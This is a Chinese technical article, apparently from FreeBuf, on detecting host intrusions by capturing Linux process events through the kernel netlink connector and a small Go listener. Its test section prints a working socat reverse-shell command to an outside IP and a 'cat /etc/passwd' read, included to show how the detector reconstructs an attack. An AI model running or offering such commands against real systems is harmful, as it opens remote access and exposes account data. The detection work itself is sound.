主机安全反入侵检测的核心数据包含命令、网络、文件三大类型,文件产生进程、进程产生网络,从进程的角度出发可以捕获到最多的安全事件,因此进程事件在反入侵检测中是最重要安全感知数据,是安全检测和异常分析的基础。这样不论在攻击事前的弱口令扫描或暴力破解动作;还是事中的反弹shell、命令执行注入;或事后的后门或隐藏进程,都可以依赖进程事件的基础数据分析,同时根据不同的攻击向量,多维护分析出安全事件。
在常见的进程事件数据采集方案包括两种,第一种内核模块hook,拦截系统调用fork、exec等,优点:不易被绕过,缺点:方案过重,风险较高。第二种借助preload机制,拦截同名函数,优点:方案轻量,实现简单,缺点:对部分安全场景不能覆盖。
本文提供了第三种方案:通过linux连接器实现进程事件审计,由linux内核提供的接口,安全可靠,结合用户态轻量级ncp应用程序,对主机影响较小,并且能覆盖更多安全场景。
1、linux内核提供连接器模块与进程事件收集机制,无需任何改动
2、在用户态实现轻量级ncp(netlink connector process)应用程序接收netlink进程事件消息
连接器是一种新的用户态与内核态的通信方式。本质上,连接器是一种netlink通信,用以实现用户进程与内核进程通信的一种特殊的进程间通信(IPC), 连接器最常见应用是进程事件连接器。
linux内核从2.6.15版本开始支持连接器,可以检查内核模块配置文件(例 /boot/config-3.10.0-327.36.3.el7.x8664 )是否配置CONFIGCONNECTOR,CONFIGPROCEVENTS确定。
CONFIG_CONNECTOR=y
CONFIG_PROC_EVENTS=y
连接器内核模块实现核心代码主要在:
driver/connector/connector.c,driver/connector/cn_queue.c
int cn_add_callback(struct cb_id *id, const char *name,
void (*callback)(struct cn_msg *,
struct netlink_skb_parms *))
void cn_del_callback(struct cb_id *id)
cnaddcallback:用于向连接器注册新的连接器实例以及相应的回调函数,参数id 指定注册的标识 ID,参数 name 指定连接器回调函数的符号名,参数 callback 为回调函数。
连接器模块注册了"cnproc"的连接器实例,并设置cnprocmcastctl回调函数
cn_add_callback(&cn_proc_event_id,
"cn_proc",
&cn_proc_mcast_ctl)
static void cn_proc_mcast_ctl(struct cn_msg *msg,
struct netlink_skb_parms *nsp){
*
mc_op = (enum proc_cn_mcast_op *)msg->data;
switch (*mc_op) {
case PROC_CN_MCAST_LISTEN:
atomic_inc(&proc_event_num_listeners);
break;
case PROC_CN_MCAST_IGNORE:
atomic_dec(&proc_event_num_listeners);
break;
default:
err = EINVAL;
break;
}
*
}
cnprocmcastctl:接收通过连接器通道发来的用户态消息,主要处理PROCCNMCASTLISTEN,PROCCNMCAST_IGNORE两种控制消息。
进程事件连接器的实现代码主要在
drivers/connector/cn_proc.c
int cn_netlink_send(struct cn_msg *msg, u32 __group, gfp_t gfp_mask)
cnnetlinksend:用于向用户态发送 netlink 消息,参数 msg 为发送的 netlink 消息的消息头。
在内核实现中,进程创建、执行、退出的系统调用sysfork, sysexec,sysexit最终都会通过cnnetlink_send发送消息到用户态
sys_fork->do_fork->copy_process->proc_fork_connector->cn_netlink_send
sys_exec->do_execve->do_execve_common->search_binary_handler->proc_exec_connector->cn_netlink_send
sys_exit->do_exit->proc_exit_connector->cn_netlink_send
在procforkconnector、procexecconnector、procexitconnector都是从内核进程数据结构task_struct获取信息封装netlink消息。
void proc_fork_connector(struct task_struct *task) {
*
ev->what = PROC_EVENT_FORK;
parent = rcu_dereference(task->real_parent);
ev->event_data.fork.parent_pid = parent->pid;
ev->event_data.fork.parent_tgid = parent->tgid;
ev->event_data.fork.child_pid = task->pid;
ev->event_data.fork.child_tgid = task->tgid;
*
}
void proc_exec_connector(struct task_struct *task){
*
ev->what = PROC_EVENT_EXEC;
ev->event_data.exec.process_pid = task->pid;
ev->event_data.exec.process_tgid = task->tgid;
*
}
void proc_exit_connector(struct task_struct *task){
*
ev->what = PROC_EVENT_EXIT;
ev->event_data.exit.process_pid = task->pid;
ev->event_data.exit.process_tgid = task->tgid;
ev->event_data.exit.exit_code = task->exit_code;
ev->event_data.exit.exit_signal = task->exit_signal;
*
}
procforkconnector消息中封装父进程pid、tgid和当前进程pid、tgid数据。
procexecconnector消息中封装当前进程pid、tgid数据。
procexitconnector消息中封装当前进程pid、tgid和exitcode、exitsignal数据。
除了上述三种事件,还有进程coredump、ptrace、id事件。
对于进程事件连接器,内核发出的netlink消息包括 netlink消息头、连接器消息头、控制操作或进程事件指令,下图中各控制消息和进程事件消息格式。
* netlink header * connector header * control or process data *
| idx---val | seq---ack---len | data |
* contorl event *
| flags--op |
* fork event *
| ptid--ppid--tid--pid |
* exec event *
| tid--pid |
* exit event *
| tid--pid--exit_code--exit_signal |
ncp(netlink connector process) 实现主要与内核建立netlink connector连接,并持续接收进程事件,解析进程数据。
fd, err := syscall.Socket(syscall.AF_NETLINK, syscall.SOCK_DGRAM, syscall.NETLINK_CONNECTOR)
lsa.Family = syscall.AF_NETLINK
lsa.Groups = C.CN_IDX_PROC
if err = syscall.Bind(fd, &lsa); err != nil {
syscall.Close(fd)
}
Socket: nlfamily设置为 AFNETLINK, proto设置为 NETLINK_CONNECTOR
Bind: 绑定地址family为AFNETLINK, groups为CNIDX_PROC
msg.idx = C.CN_IDX_PROC
msg.val = C.CN_VAL_PROC
msg.len = 4
msg.op = C.PROC_CN_MCAST_LISTEN
syscall.Sendto(fd, &msg, 0, &lca)
该步骤是构造一个netlink控制消息事件,通知内核模块打开进程连接器开关。
for {
nr, _, err := syscall.Recvfrom(self.fd, rb, 0)
ev := parseEvent(nr)
switch (ev){
case C.PROC_EVENT_FORK:
*
get_exe(pid)
get_cmdline(pid)
get_cwd(pid)
*
case C.PROC_EVENT_EXEC:
*
case C.PROC_EVENT_EXIT:
*
}
}
对于 fork、exec、exit 事件,都会输出进程pid和线程tid, 结合/proc/pid, 可补全进程其他数据,如exe,cmdline,cwd等
测试反弹shell案例,输出五条事件(3条Exec,2条Fork), 回溯整个过程.
Exec: {tid:5860 pid:5860} -> process exe:/usr/bin/socat, cmdline:socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:10.89.93.11:8011, cwd:/home/cnptest
Fork: {ptid:5860 ppid:5860 tid:5861 pid:5861} -> process exe:/usr/bin/socat, cmdline:socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:10.89.93.11:8011, cwd:/home/cnptest
Exec: {tid:5861 pid:5861} -> process exe:/usr/bin/bash, cmdline:bash -li, cwd:/home/cnptest
Fork: {ptid:5861 ppid:5861 tid:5918 pid:5918} -> process exe:/usr/bin/bash, cmdline:bash -li, cwd:/home/cnptest
Exec: {tid:5918 pid:5918} -> process exe:/usr/bin/cat, cmdline:cat /etc/passwd, cwd:/home/cnptest
重点关注Exec事件
第一条Exec事件:socat进程(pid 5860)执行socat exec, 进程详细信息: exe为/usr/bin/socat, cmdline:socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:10.89.93.11:8011
第二条Exec事件:socat进程 fork出子进程 bash(pid 5861) 执行bash -li, bash进程详细信息:exe:/usr/bin/bash, cmdline: bash -li
第二条Exec事件:bash进程 fork出子进程 cat(pid 5918) 执行cat /etc/passwd, /usr/bin/cat, cmdline:cat /etc/passwd
根据上述5条事件,可以还原在10.89.93.11通过socat、bash -i等命令反弹进程shell, 并获取主机passwd信息的整个过程。
在安全分析中通过进程exe和cmdline信息可以快速定位危险命令执行的过程。
通过linux连接器结合轻量级用户态应用程序ncp能够实时获取linux进程事件,在此基础上结合进程proc目录下各信息, 如/net/tcp,fd,stack等,可以描绘出更详尽的进程状态,为主机安全反入侵检测提供重要数据支撑,能够及时发现进程异常行为、危险命令执行等安全攻击事件。
在下篇文章会介绍在宿主机层针对docker内进程分析,敬请期待。
*本文原创作者:zhouqiao,本文属FreeBuf原创奖励计划,未经许可禁止转载